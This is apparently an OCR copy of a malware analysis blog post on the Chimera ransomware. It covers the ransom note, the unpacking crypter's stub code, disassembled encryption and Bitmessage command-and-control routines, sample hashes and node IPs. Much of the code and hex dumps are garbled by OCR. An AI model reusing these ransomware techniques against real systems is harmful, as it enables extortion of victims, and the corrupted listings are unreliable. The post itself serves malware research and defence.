Inside Chimera Ransomware - the first 'doxingware’' in
wild
™

hasherezade

You are victim of the Chimera® malware.

Maybe some programs no longer function properly!

Please transfer Bitcoins to the the following address to get
your unique key file.

Ransomware have proven to be a good source of money for cybercriminals. Not surprisingly,
we are nowadays facing various families of this type of malware, i.e Cryptowall, CTB-
Locker, Teslacrypt to name a few.

Recently, one more joined this set: Chimera, that is distributed via targeted e-mails to small
companies.

At the first sight, it appears like yet another malware encrypting user's private files and
demanding ransom for decrypting it. But it added to this feature one more twist that is
supposed to put more pressure on the victim. It threatens that in case if the ransom will not
be paid, all the stolen files are going to be published, along with the stolen credentials
allowing to identify files' owner*.

This blackmail technique, called doxing provides much more serious threat than just loosing
access to files. Also, keeping backups, that helps to manage attack of a normal ransomware
would not help much. I think it will be fair to make a new term to describe this new subtype of
ransomware, for example: doxingware.

*- Fortunately in case of Chimera authors didn't decided to really upload the files on the
server, so it is only a bogus threat. Yet, from the point of view of the victim the pressure is
very real.

This time we will take a high and low level view at Chimera, in order to understand the
techniques used.

Analyzed samples
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| will base on following three samples, captured by @JAMESWT_MHT // - big thanks to him

for sharing! :)

A (ol —

60fabd1a25009b5  8056cf38e5b60d  e0922a68fca000
08318T76d5e?aal 1921222278850  16584acdBfcT72

labh.exe aiil.exe

e 8956cf38e5b6941921a3a2788f50a871
e £6922a68fca90016584ac48fc7722¢ef8

Behavioral analysis

2eff. exe

When deployed, Chimera enumerates files on all the available disks and encrypts

documents recognized by some predefined extensions.

This is an example of what you may see, if on your machine Chimera was deployed - some
files have been substituted by their encrypted versions with the appended extension .crypt.

Mame Date modified Type Size
. Help 2015-12-03 21:16 File folder
| || ReadMe tet.crypt 2015-12-03 18:11 CRYPT File 4 KB
Bl ResourceHacker.def 2015-06-08 17:19 Export Definition F... 16 KB
EH ResourceHacker.exe 2015-06-10 10:33 Application 4193 KB
|| ResourceHacker.ini.crypt 2015-12-03 18:12 CRYPT File 2KE
|€ YOUR_FILES_ARE ENCRYPTED.HTML 2015-12-03 18:11 Firefox HTML Doc... 5KB

See below a visualization of bytes.

square.bmp : left — original, right encrypted with Chimera:
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Also, there is an HTML file dropped, that teaches user what happened. The HTML can be
displayed in two languages - English and German. Below the English version:

You are victim of the Chimera® malware.
Maybe some programs no longer function properly!

Please transfer Bitcoins to the the following address to get
your unique key file.

Address:
Amount:

For the decryption programm and additional informations, please
visit:

If you don't pay your private data, which include pictures and
videos will be published on the internet in relation on your
name.

Take a tage of filiate-program!
More info C £ e code of this file.

At the bottom of the HTML file we can read that, in addition to blackmail, attackers also

search people willingly to cooperate - probably for franchising their criminal business. More
info about it is available in the source of the HTML.:
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After the process of encryption of all the files is finished, this HTML is displayed in full screen

Zrodio: file:/// D/ Chimera/YOUR_FILES_ARE_ENCRYPTED.HTML - Mozilla Firefox
k Edycja Widek Pomoc

< -
Take adwvantage of our affiliate-program'!
We offer vou 50% of our profits.

You can reach u=s via the bitmes=zage address:
BM-Z2cW44Yg9DWbHYnNRSFzBLVRvE 6WjadchNBE
Frofitieren Sie von unserem Affiliate-Programm!
Wir bieten Thnen 50% der erzielten Gewinne.

Sie erreichen uns useber die Bitmessage Adresse:r
BM-Z2cW44Yg9DWbHYnNRSFzBLVRvE 6WjadchNBE

-—

<html >head><meta http-equniv=content-type content=

mode via Internet Explorer.

Unpacking

Two out of three malicious samples (60fabd1a2509b59831876d5e2aa71a6b,

€6922a68fca90016584ac48fc7722ef8) are packed by the same .NET crypter, so | decided to

give a brief overview on unpacking this crypter.

It is not obfuscated and can be easily decompiled by typical tools i.e. ILSpy. Looking at
function names, we can get a lot of information about the functionality, i.e it loads the payload

by the RunPE technique:
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9 inv_shox: byte[]

& Nb:int

& Ni:int

@ Mr: int

“@ pe: byte[]

@ Reon: byte(]

9 shox: byte(]

& w: byte[][]

g .cctor(): void

=g .ctor() : void

%ﬁ AddRoundEey(bytel][], byte[1[], int): byte[1[]
& decode(string) : byte[]

& decrypt(byte[], byte[]): byte(]

& decryptBloc(byte[]) @ byte(]

& deletePadding(byte[]} : byte(]

& FEMulibyte, byte) @ byte

& generateSubkeys(byte[]) : byte[][]
& InvMixCelurmns(byte[][1) : byte[][]
%ﬁ InvShiftRows(byte[1[1) : bytel1[]
& InvSubBytes(bytel][1) : bytel][]
%% Main() : void

& MixColurmns(byte[][1) : byte[][]
& rotateWord(byte[]) : byte(]

& run_pe(byte(]) : void

& ShiftRows(byte[[1) : byte[][]

& SubBytes(byte[][]) : byte[][]

%ﬁ SubWord(byte[]) : byte[]

& xor_funcbyte[], byte[]) : byte[]

(full Stub.cs: https://gist.github.com/hasherezade/5b742b46df4f79fdb784)

[code language="csharp" title="Stub.cs" firstline="600"] public static void Main() { byte[]
rawAssembly = Stub.decrypt(Stub.pe, Stub.decode(BASE64_ENCODED_KEY));
Stub.run_pe(rawAssembly); }

private static void run_pe(byte[] rawAssembly) { new
Stub.ManualMap().LoadLibrary(rawAssembly); } [/code]

This author of the crypter didn't relied on simple XOR based algorithm - instead, provided a
custom implementation of a block cipher (Rijndael). We can find variables with familiar
names like: sbox, inv_sbox (inverse S-Box), Rcon (the Round Constant), Nr, Nb, Nk...
Fragment:

5/17


https://www.malwarebytes.com/blog/images/uploads/2015/12/functions_list.png
https://gist.github.com/hasherezade/5b742b46df4f79fdb784
https://en.wikipedia.org/wiki/Rijndael_S-box#Forward_S-box
https://en.wikipedia.org/wiki/Rijndael_S-box#Inverse_S-box
http://crypto.stackexchange.com/questions/2418/how-to-use-rcon-in-key-expansion-of-128-bit-advanced-encryption-standard
http://www.cs.utsa.edu/~wagner/laws/AESkeys.html

// Stub
private

{

static byte[] decrypt(byte[] input, byte[] key)

byte[] array = new byte[input.Length];
byte[] array2 = new byte[16];
Stub.Nb = 4;
Stub.Nk = key.Length / 4;
Stub.Nr = Stub.Nk + 6;
Stub.w = Stub.generateSubkeys(key);
int 1i;
for (1 =0; i 0 && i % 16 == 0)
{

array2 = Stub.decryptBloc(array2);
Array.Copy(array2, 0, array, i - 16, array2.Length);

}
if (i < input.Length)
{
array2[i % 16] = input[i];
}

}
array2 = Stub.decryptBloc(array?2);

Array.Copy(array2, 0, array, i - 16, array2.Length);
return Stub.deletePadding(array);

Payloads

Loader.dll

md5 = 8df3534fe1ae95fc8c22cb85aed15336

The file unpacked by Stub.exe is a DLL. It comes with a string referring to a database with
debug symbols of the project, suggesting that it is not the core payload, but just a loader for
it: C:\Projects\Ransom\bin\Release\Loader.pdb. In fact, it role is just to unpack and load
the core executable.

Automatic analysis:
https://malwr.com/analysis/ZjcOMDg0ZmRIMjhkNGYXZTImZWI1NzIxXMTIhYmEyODU/

Loader.dll unpacks a new PE file, writes into process memory and runs it in a new thread:

6/17


https://gist.github.com/hasherezade/5b742b46df4f79fdb784#file-stub-cs-L654
https://gist.github.com/hasherezade/5b742b46df4f79fdb784#file-stub-cs-L851
https://gist.github.com/hasherezade/5b742b46df4f79fdb784#file-stub-cs-L851
https://gist.github.com/hasherezade/5b742b46df4f79fdb784#file-stub-cs-L907
https://www.virustotal.com/en/file/6ce7283320fd5b24a91d88143bee5e1891d6b053385b369c1e1ec2be88fe9957/analysis/1449223958/
https://malwr.com/analysis/Zjc0MDg0ZmRlMjhkNGYxZTlmZWI1NzIxMTlhYmEyODU/

BF2E142H
BFZa142C
BF2E142E
BFZE14351
BFEA1432
BF2E1435
BFZE1435
BF2E1439
BF2E142C
BFZa1430
BF3E1442
AFZE1443

4l

FEIE ZeobomsE | CALL DWORD PTR OS5t C<&KERNELZZ.riteProce
. 25CA TEST EAR, EA
v T4 1E JE SHORT ch imera_ . BFSE1440
. 2045 F2 LEA EAX, CLOCAL. 27

i FLSH_EA

SE4S F4 MY EAY, CLOCAL.S]

B34E Fol AOD ER, ELOCAL. 4]

& FUSH ESI

FE7E BC FUSH [ARENZ]

Ei PLSH EAX

B3 @EEE1AEE FUSH & 1B6GEE

EE PUSH ESI

E7 PUSH EDI

FF1S 422@2a0F | GALL_OWORD PTR DSt [<&KERMELSZ.CreateRemo

L iteProcessMemary

kernel32.CreateRemoteThiead

O5: [BFEE2E223]1=FF1ECIDE (kernsl32.WriteProcessHemory]

Address | Hex dump ASCII

BEZ7EEFE[ 40 EA 9@ B8 B3 08 00 B8 04 08 B8 03 FF FF @8 00| HZE.w *
BAZFECH0| BE B0 D8 B8 0B G2 60 68 40 D0 98 DD B0 BE 08 B0 5. ... Biliaa..
BEZFEC 10| BE BE O B8 0B 68 B0 B8 B0 D8 B8 D0 B8 BE B8 BB .. ..ee e ieeenenns
BEZFECZE| B B0 08 98 0B 68 60 B8 80 D0 98 D0 EQ 95 08 B0 .. .eesenenas nogo
BAZFESSH( BE IF ERA BE @B B4 89 CO 21 BS 81 4C CD 21 54 68| ATIA.H .=15EAL=tTh
FAZFEE4A| 69 73 28 ¥A 72 6F 67 72 61 6D 28 63 61 &E EE EF| iz program canno
BRZFESER| 74 28 62 65 28 V2 7S5 &E 20 &9 6E 28 44 4F 52 20|t be rcun in DO
pazFesca| 60 6F &4 65 ZE G0 B0 BA 24 00 88 00 88 B8 88 88| mode. .. e Feueaaas
BAZFEEYA| 08 2F EB 29 9C 4E BS &R 9C 4E 85 &R 9C 4E 65 &A| E-/kIrMEirMEIvHL ]
BRZFESEE) 99 42 BA G6A 98 4E B5 &6A 91 IC E4 SA 99 4E 65 GA| GB. jSMHEICon jiMNS]
BAZFEESE( IC 4E B4 6A A3 4E B5 &R 95 36 96 GA P8 4E @5 SA| vHejuME LA TGN
BEZFEEAE[ 91 IC EE &6A BB 4E B5 &R 91 IC D9 &R 20 4E 65 &A| Lokb JEMEIL jEML]
BazvesE@| 91 1C OB &A 90 4E B &A 52 &9 63 68 2C 4E 65 &6A| CulljENEIRichvHE]
BEZFEECH|] B8 BE O B8 08 68 B0 B8 80 D8 B8 D0 88 BE B8 B8 ... ... e

Core.dll

» [EEICIE - GE00EE20

HEIAFOFE [« BE 156666
HE1AFOF4 |- BEZ2FESFA
BE1AFOFS (- BEE1SARG
BEIAFOFC (- GEEEEHEHE
HAE1AFEAA [« BE14E66E86
BE1AFEA4 (- BEEEEE2C
BE1AFE@S [« BEEEFT4E
BE1AFEAC (- BE1566586
BEIAFELA (- BEEEEEEE
BE1AFEL4 [« BEZVESFR
HE1AFELS HE1AFES4
HEIAFELC BFSE1EA1
HE1AFEZA HEA1EAEE
satFeR || gatsann

hPFroocess = BEEEEEIC [
Address = Ax 1SEEEE
Buffer = BAZ7EEFA
ButesTollrite = 1EAEE
pEutesllcitten = HULL

RETURH to chimera_.8FE

md5 = 0a27affc77bd786beff69aa1f502d694

The original name of the executable unpacked by the Loader is Core.dll (it also comes with
a analogical string: C:\Projects\Ransom\bin\Release\Core.pdb) and is responsible for all
the malicious activities.

Offset Mame

148D0 Characteristics
14804 TimeDate5tamp
148D& MajorVersion

148DA MinorVersion

148DC Mame

148E0Q Base

148E4 MumberOfFunctions
148E8 MumberOfNames
148EC AddressOfFunctions
148F0 AddressOfMNames
148F4 AddressOfMameOrdinals
Details

Offset Ordinal

148F8 1 10345

Value

0
S5F9CDCC

1

156F8
156FC
15700

Function EVA& MName RVA

1570B

Meaning

Core.dll

Mame

_ReflectiveLloaderi@m4

At this stage we can see clearly all the strings and api calls. Also, the full list of extensions of
files that are going to be encrypted. (Full list of strings:
https://gist.github.com/hasherezade/ceef1c2fed2c70f37d6e)
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DlIMain sets a mutex automatically generated from the volume serial number (to ensure that
the malware is not run more than once), and then starts a new thread that deploys following

three procedures:

186108288 ; DWORD  stdcall thread main{LPUDID 1lpThreadParameter)
18610288 thread main proc near

18818288

18816288 1pThreadParameter= dword ptr 4
18818288

18818288 push esi

18016281 call start_network_thread
18818286 mow esi, eax

186108288 push esi

18818289 call search_and_encrypt_files
1881828E push esi

1881828F call display html_ file

18616294 mov eax, [esi+214h]
18616297 pop BCX
18616298 pop eCX
1801 829C test eax, eax
1861 0829E jz short loc_188182a9
 J
Ll ] =]
1801082a8 push BFFFFFFFFh ; duMilliseconds
188182A2 push eax ; hHandle

188182A2 call ds:WaitForSingledbject

‘s

In the function start_network_thread Chimera prepares all the data to be sent to the C&C
and after that deploys a new thread, that handles all the network-related operations.

First is the information gathering phase. The victim ID is generated basing on hardware -
also, some other information about the local machine is collected: computer name and
external IP (by querying address: bot.whatismyipaddress.com - if the computer is offline
0.0.0.0 is used as the IP). This data, along with the generated bitcoin wallet address and a
generated key pair are supplied as a parameter to the newly created thread.
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BFcZFE0R
AF &3FS0E
BF&3FS0C
BF&2FE00
BFEIFEEZ
HF L2FCES

BF&2FEER
BFSZFEEE

4

Address

Hexn dump

ECH
ECH

ERX
Core_dll.BF&3FEE7F
ECH

ECH
EEEDRD FTR DS: [<&KERMEL32.CreateThre

pThreadld = MHULL

Cireat ionFlags = O

pThreadParm = BEZ920AE
ThreadFunction = Core_dll.BF&3F3EF
StackSize = Bn@

ASCII

pSecurity = HULL
CreateThread

AEZ2C292
BEZICZAS
BEZICIES
BEZEC2CE
aEzeCz0e
BEZEC2ZES
BEZEC2ZFS
BEZECIAS
BE22C212
BEZICI22
BEZ22CI32
BEZ2CI42
BEZSC35E
BEZECI6S
BEZECITE
BEZECIEE
AE22C332
BEZICIAS
BEZCIES
BEZECICE
aEzsCzhe
BEZECIES
BEZECIFE
BEZEC4EE
BE22C4 12
BEZ22C422
BEZ22C432
BEZEC442
BEZ2SC458
BEZEC462
BEZEC4TE
BEZEC4EE
AE22C432
BEZ2C4A2
BEZEC4E2
BEZEC4CE
aEzzc4ns
BEZEC4ES
BEZEC4FS
BEZECEAS
BEZICELS
BEZICE22
BEZ2CEIS
BEZECE42
BEZSCEEE
BEZECEES
BEZECETE
BEZECEEE
BE22CEI2
BEZICEAS
BEZICERS

28 37 28 37 46 42 45 29 39 23 31 46 41 29

1= 35 42 44 33 45 99 39 3] 50 42 35 32 98

FEFFBES921FASEC
SECO2IF991CRE2222

E- I . |
8.0, 8,8, 8....UfF

1....$5@8+"1C050C
Ki1YKNDapZ EE 367 0o
dMgPFx peAcEuWlISEdH
&Fange&ruydudtshb
RTiz20ubte ] ivFosw
Sd gy L= F ot Bl

A o T
FHCHEW: Sy, A
FERESLIEMATS4EESH
M™Ci+AG2TL |1 KRS
Z0.C™d B 7d bTirFE
E LUS{dUFSIZ2E 4
BUF=AGID, 7 « ph%_
++ 00k L IZARS A2
LAl +5e4 S99t .~
O~ bEMET jrEes_19
i+Jwag4ary ELALA.
pEimbE DE &S WA nED
IS5+, /3 "CH < HFCd'S
FRUZ3.*j3+xw" GLE
i[ F.&.p»+HS-BLA
EELgQE =TaHoh{ A. 4.
i e Ay — P
cO-—LGP" £mE L5
Sy = T W Ta |
SETAcUL«yd 1GA+E, T
i+t S LBR LG
| S{tBr SRt by ad#
#d=+ i BRUACREn
BN LB [SW = Eodor
iS=did Lo «qrs] ACJ
Lir+i @k Ay 1o [
F#SARm™E D&5Y 2 En
HHET=H, iimGAEETUE
I7Te. 5L CESta A
ADTTEWS , 2undsom™
J-C #uG-EFI1tR
wugdtebe, Ll E L6
“oe-s g, B2 UL
JEEJG|| . || fE™aq 2 TR
1154 (48 LBLUCE?
#UEGFEZDENRTEY &=
IdE1IxEr-Be. 167
#SEA gAY C KA
FErENEEy Ctic.
BP=2 BRELELEE ) Bred PH
ICE LEhEE b2 -BEES

| computer name

It is deployed before the process of file encryptions starts - and the public key from this pair
is passed forward to the function encrypting files.

File encryption function (beginning):
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10868108C6A
1086818C6A
18818C6A
18818C6RA
18818C6RA
18818Co6A
186818CoA
1086818C6A
10868108C6A
1086818C6A
18818C6A
18818C6RA
18818C6RA
18818Co6A
186818CoA
10868108CAB
186818C6D
186818C73
18818C7 Y
18818675
18818C77
18818C78
186818C7D
186018C7F
100106C80
18616C81
18818C86
186818C89
186818C8C

; int _ _cdecl encrypt_file{LPCSTR 1lpFileHame, int key}

encrypt_file proc near

cryptoctx= byte ptr -BEDBh
inBuf= byte ptr -928h

outBuf= byte ptr -528h
HewFileHame= byte ptr -128h
var_24= dword ptr -24h

FileSize= LARGE_INHTEGER ptr -28h
Overlapped= _OUERLAPPED ptr -18h
hHandle= dword ptyr -4
1pFileHame= dword ptr 8

key= dword ptr HCh

push ebp

mou ebp, esp

sub esp, BEDBh

push esi

push edi

®or edi, edi

push edi ; hTemplateFile

push LBBB0A8 AL ; dwFlagsAndAttributes
push 3 ; duCreationDisposition
push edi ; 1lpSecurityattributes
push edi : dwShareMode

push ACa08afaan ; dwbDesiredAccess

push [ebp+1lpFillHame] ; 1pFileHame
mou [ebp+hHandle], edi
call ds:CreateFilen

Preparing random symmetric key for each file:

‘ v Y
bl =]
18818CBS
186810CB5 make and encrypt symmetric key:
18681 8CES mov eax, [ebp+public key]
18818CEE add eax, 4
1881 8CEBB push 259 : key_len
188106CCA push Pax ; bhuffer
18818CC1 1ea eax, [ebp+file key]
18818CCY push Pax ; al
188168CCE call brepare_File_key
18818CCD add esp, BCh
1001 8CDhA test eax, eax
18818CD2 jnz short loc 18818CE3

The public key (marked purple) is passed to the function responsible for generating random
key for each file. Every symmetric key is encrypted by the public key and then stored in the

file:
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HIF B EIL AL (] . FUzH Bl
. FF15 4C2Rc4AF CALL DWORD PTR D5:[<&KERMELSZ.GetFileSize kernel32.GetFileSizeEx

BFE4ECA4 (| . S85CA TEST ERX,ERX

BFE4ECAE (] .~ 74 2C JE SHORT Core dll.B8FE4BC04

BFE4ECAS (| . 3970 E4 CHP CLOCAL.¥1.EDI

BFE4ECAE (] .~ 7F 27 J5 SHORT Core_dll.BF&46C04

GBFE4ECAD (| .~ FC 88 JL SHORT Core_dll.B8FE4ECES

BFE4EcAF || . 9370 E@ FF CHP [CLOCAL.23, &1

AFE4EACES (| .~ 73 1F JHE SHORT Core_dll.B8F&4EC04
» 8B45 ac HMOL ERX, CARG. 21

FAEE4ECES (| . 83CA B4 AOD EAX, Eud

Frem==l| . &2 8381606860 PUSH Bul@2 Hrgz = AREEALAZ

HFE4ECCH (. 58 FUSH ERX HraZ2 = BE24EE14

BF&4ECC1 . SD3E ZaF1iFFFF LEA ERX,CLOCAL.94581]

AFE4ECCT || . 58 FUSH ERX Argl = AE24EE14

ERESEEEEN | - EﬁﬁEEEEFFFF EEELrEErE—ElL'EFEE?EEE crypto_init

4 |_|

Address |Hex dum HSCII

AEZ4EELI4JBE SE = S

BEZ4EEZ4BF CE 21 42|E2 CF 57 2A(22 79 D1 CA|EE 2C BS Clj-+*Croll: SyfF=t, At

HEZ4EEZ4QEL FC 82 D2(4C 2B 15 72|(@1 35 85 11|FS BY AD 20)FREBELSExACHdEE<H

BE24EE44 M CaAG2T |1 KBS

BEZ4EESY 2004 1Em 7d b TFRE

BEZ4EESS EtUS{AUFSIZZE<4A=

BEZ4EETS BUF-AG(D,. 7 = ph#_

BEZ4EESS F+COFE kLI ARS A2

AEZ4EESS LAl +3e4 S99 3.~

BEZ4EER4 Cuj FEMAT jrESs_19

HEZ4EEE4 it wagddry EEALH.

BEZ4EECY pEimbE bE SewiAAnEd

BE24EEDS IS+, " K HrCd' S

BE24EEE4 FRUZ 3. % j3+xw" GLE

BEZ4EEF4 i[ Fu&.FretnS-Bug

BEZ24EF A4 EEGOQE =73

AEZ4EF 14 @l A6 @1 A8 Fe W2 Se HS | HE WA A EE WA A WA B FBeE ... . .

BAZ4EF 24
BEZ4EF24) BB OB G B8 AR OB B8 Q8 BE GO
BEZ4EF4d )| BB OB B8 Q8 B8 OB B8 Q8 BE GE

File is processed chunk by chunk:

]

18818071 push 1824

186818076 lea eax, [ebp+outBuf]
18618D7C push eax

18818070 lea eax, [ebp+inBuf]
186818083 push eax

108010084 1ea eax, [ebp+cryptoctx=]
18016D8A push eax

18016D8B call encrypt_file fragment
18818098 add esp, 168h

18016093 test eax, eax

18818D95 j=z loc_186818CD4

then,saved under the name with suffix .crypt added:
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1001 BES8 lea eax, [ebproutBuf]

1001 0ESE mow [ebp+Overlapped.hEvent], edi
1801 BEG61 push Bax 7 lpBuffer
1001 0EG2 push es5l y hFile

1001 0E6I call ds:WriteFile
1001 0EGY test Pax, Pax

1001BEGB jnz short loc 10010E87
Y
P
1801 0EGD call ds:GetLastError
1B8010ETI cmp eax, JESh
1001BETB jnz loc_ 1881800
I 1
Y
FPIE |
1081 0ETE push AFFFFFFFFh ; duiilliseconds
10818E8A push edl + hHandle
10010E81 call ds:WaitForSinglelbject

{i¢ v

EEEEEEEEEEEi=iF';
e PIE
1881000y 1081 BERT
1001 0CDY loc_ 10BBCDY: ; hibject| [10810E87 loc_18810GERT: ; hibject
1881 0CDY push es5l 1881 BERF push esl
18618005 call ds:CloseHandle 1801 0E8B call ds:CloseHandle
1881 BERE push [ebp+1pFileHane ]
1881 0E91 lea eax, [ebp+HewFileHame]
1881 0E9F push offset as_crypt ; “Ss.crypt”
18081 BEYC push Bax
1081 0E9D call save_File
1001 BEA2 add esp, BCh
1001 0ERS lea eax, [ebp+HewFileHame ]
10081 BEAB push Bax 7 lpHewFileHame
18081 BEAC push [ebp+1lpFileHane] ; lpExistingFileHame
1001 BEAF call ds:HoveFilen
Communication

Chimera authors have chosen Bitmessage P2P protocol for the communication with C&C (as
well as for the contact with eventual recruits).

» Transmission Control Protocol, Src Port: 1054 (1054), Dst Port: 8444 (8444),
= Data (127 bytes)

Data: eShebado7E657273606T e
[Length: 127]

0000 0Oa 00 27 00 00 0D 08 00 27 8f e3 eb 08 00 45 0O
0010 00 a7 ba 32 40 0D 80 06 3e c3 cO a8 38 65 5f a5
0020 a8 a8 04 le 20 fc 3c e0 55 3e 88 9d 16 7b 50 18
0030 fo 78 J 2 7. i
o040 (5
0os0
0oE0
o]0 o]
olo}=10]
olo}=l0]
00a0
00b0o
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To bootstrap the connection the bot uses two hard-coded hosts and receives addresses from

them.

1000FBD2 lea eax, [ebp+uvar_1@]

1006FBDS push BaK ; int

1000FBD6 push 2BFCh : hostshort
1088FBDB push offset nane ; UP5.165 168 168
1000FBER call connect_to_host

1000FBES lea eax, [ebp+var_1@]

1000FBER push 2ax : int

1088FBE? push 1F98h ; hostshort

1008FBEE push offset at1S|e_222 291_81 ; "158.222 . 211,817
1008FBF3 call connect_to_host
1008FBFE lea eax, [ebp+uar_10]

Mind the fact, that those addresses are not C&Cs of the malware, but just nodes of
Bitmessage. Below - fragment of original file from Bitmessage protocol:

l,.u

def createbefaul tKnowntodes(appdata):

SEEEEEEEEEEEEE Ty ey L SEEEEEE

streaml = {}

#streaml [shared. Peer('2604.2000:1380:9f:82e:148bh: 2746 doc?', 8080)] = int{time.time())
streaml[shared.Peer('5.45,99,75"', 8444)] = int({time.time())
streaml[shared.Feer('75.167.159.54"', 8444)] = int{time. time())
streaml[shared.Peer('95.165.168.168"', 8444]] int(time. time())
streaml[shared.Peer('85.180.139.241"', 84447] int(time. time())
streaml[shared.Peer('158.222.211.81"', 8080)] int(time. time())

Sample response from one of the servers (95.165.168.168):

» Internet Protocol Version 4, Src: 95.165.168.168 (95.165.168.168), Dst:
P Transmission Control Protocol, Src Port: 8444 (8444), Dst Port: 49183 (4
= Data (1460 bytes)

Data: et
[Length: 1480]

0O=0
0040
0050
elol=10]
QO7O
8]01=10]
elol=l0]
0020
o0obo
00co
0odo
Q0e0
oofo
01e0
0110
0120

Using the received list, it starts a new Bitmessage connection and sends there an object.
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PiE]
1000F PAE push es5i
1000F PAF call init_bitmessage

1008F 984 pop BCHY
1008F9BS test 2ax, Pax
1008F9BT jnz short init_bitmessage success
I 1
L i
=
1008F9C2

1008F?C2 init_bitmessage_SUCCESS:

1008F 9C2 push [ebp+uar L]

1888F 9C5 push [ebp+1pHen]

1000F9C8 push offset albject ; “ohject”
1888F 9CD push es5i

1000F9CE call prepare_and_send

10808F 903 add esp, 18h

1000F 906 test eax, eax

1008F9D8 jz short loc_1000F B9

I 1
¥ L A |

F™IE [l s =
1080F DA push 13880 ; duHilliseconds| [1006F 989
1000F9DF call ds:51leep 1000F 9089 loc_1080F989: : lpHem
10888F PES push esi » lpHem 1008F 989 push sl
1008F9E6 call shutdown_socket 1008F2BA call shutdown_socket
1000F YEB mov eax, [ebprvar 8] 1008F 9BF pop BCX
1008F 9EE inc Bax 1008F9CH jmp short loc_1808F9F8
1008F YEF mov [ebp+war 8], eax
1008F9F2 pop BCX
1008F9F3 cmp eax, Bah
1008F9F6 jnb short loc_1008Fa00

IJ

Example of sending an object (containing client data) to a new address: 79.218.142.200:

————————————

99 150.3560115 192.168.56.10 79.218.142.200 S0E8 49165-8444
100 150.5601452 192.168.56.10 79.218.142. 200 TCP 256 49165-8444

—

» Internet Protocol Version 4, Src: 192.168.56.10 (192.168.56.10), Dst: 79.218.142.200
¢ Transmission Control Protocol, Src Port: 49165 (49165), Dst Port: 8444 (8444), Seq: 1
= Data (1452 bytes)

Data: eSbeb4dost

QO30
o040
[6]0}=10]
QoE0
Qo7o
Qos0
Qo90
Qoan | ) cF 3T T 3 ey L 9 80 13 ..

oobo (8 e 59 & [ Sc 62 d: fo o : f 2 s Y
0oco 76 3 i : 0 2 c 6 .Tv3..ch
oodo  [Hsle o 8 5 3 c2 &6 5 b3 2 fo.... 3.
oafo
Q1a0

The same protocol is used also to obtain the private key when the ransom is payed. Below -
fragment of code of decompiled Decrypter:
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foreach (InboxBitMessage current in this._bitMessageApiClient.GetAllInboxMessages())

{

if (current.From.Equals("BM-2cWsXQDYSueEKCtcISBwzAka3KivYyYYCorB") && current.Subject.Equals("PaymentBroadcast™))

{

string[] array = current.Content.Split(new char[]

“\n*
s
string[] array2 = array;
for (int i = @; i < array2.Length; i++)
i

string text2 = array2[i];

try

string[] EEEEYE = text2.Split(new char[]

1

I H

if (array3[e].Equals(text))
this.MainWindowViewtodel. Session.Privatekey = array3[1];
string from = this._bitMessageApiClient.CreateRandomAddress(“Address”, false, 1, 1);
this._bitMessageApiClient.SendMessage("BM-2cWsXQDYSueEKCtc]S8wzAka3KiYYYCOrB", from, "DecryptionMessage", text, 2);

this.Running = false;
break;

catch

Decrypter

Decrypter is delivered as an .msi installer. It have very friendly user interface and guides a
victim through full process of decrypting files.

E‘l Chimera Decrypter [v0.1] E@
Step 1: Search encrypted files

First, your computer have to be searched for encrypted files. Please press “Search” to begin. This step can
take a few minutes.

Filename Size .
CAlUsers\testerDocumentsimini_tool_sethuod3 2 VI3 2ini.crypt 127 KB
ChUsers\tester\Documentsimini_tool_set\DarunGrim.zip.crypt 3347 MEB
CAlUsers\tester\Documentsimini_tool_set\OllyDumpEx.zip.crypt 38027 KB
ChlUsers\tester\Documentsimini_tool_setwi32(1).zip.crypt 558 27 KB
ChAUsers\tester\Documentshdesktop.ini.crypt 127 KB
CAUsers\tester\Downloads\desktop.ini.crypt 127 KB
ChUsers\tester\Downloads\keep-calm-and-reverse-the-malware-8.png.crypt 66,27 KB
ChAUsers\tester\FavoriteshLinks\desktop.ini.crypt 127 KB
ChlUsers\tester\Favorites\desktop.ini.crypt 127 KB '?'

| & it H B Next ‘

However, to work properly it requires that the full environment will be set as the malware left
it. If we remove ransom notes of try to decrypt files moved from another computer - we will
have unpleasant surprise.
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Decrypter fetches bitcoin wallet address from the ransom notes - that's why leaving it is
necessary to make it work. Also, a hardware ID generated for the current machine must be
the same like of the machine on which files have been encrypted. Decryption proceeds only
if the payment to a particular address have been received.

Decoder is an executable written in C# and can be easily decompiled. However, it's core
functions related to decrypting and hardware id generation are imported from and external dl|
(that is included in the decoder's package):

// Decrypter.ViewModel.StepdViewModel
[D11Import("PolarsSlWrapper.dll™, CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, SetlastError = true)]
public static extern bool DecryptFileWrapper(string lpPath, IntPtr pInput, int szInputLength);

Export table of PolarSSLWrapper.dll:

Offset Mame Value Meaning
23630 charctenstcs 0

23E34 TimeDateStamp 25F95EFY

23E38 MajorVersion 0

23E3A MinorVersion 0

23E3C Mame 24A6C Wrapper.dll
23E40 Base 1

23E44 MumberOfFunctions 2
23E48 MumberOfMames 2

Details

Offset Ordinal Function RVA MName RVA Mame

23E58 1 13A20 24A78 DecryptFileWrapper

23E5C 2 13900 24888 GetHardwareldWrapper
Conclusion

Chimera does not have any outstanding obfuscation and once we unpack the core, analysis
becomes easy. However, it comes with several ideas that are novel and may slowly become
a new trend.

It's communication over P2P protocol is an interesting countermeasure from botnet take
down. Also, the idea of blackmailing the user by leaking documents was not found in any
malware before. In this case authors ended on bogus threats (sending huge amount of files
to the C&C and storing them is much more costly) - but the idea itself is dangerous.

If others cybercriminals will get inspired and decide to implement it, we will have a new
headache.

16/17


https://www.malwarebytes.com/blog/images/uploads/2015/12/decrypter_decrypt2.png
https://www.malwarebytes.com/blog/images/uploads/2015/12/wrapper.png

Appendix

http://www.techwalls.com/chimera-ransomware-now-even-harder-decrypt/ - about Chimera's
distribution method

http://www.bleepingcomputer.com/news/security/chimera-ransomware-uses-a-peer-to-peer-
decryption-service/ - more about Chimera's communication
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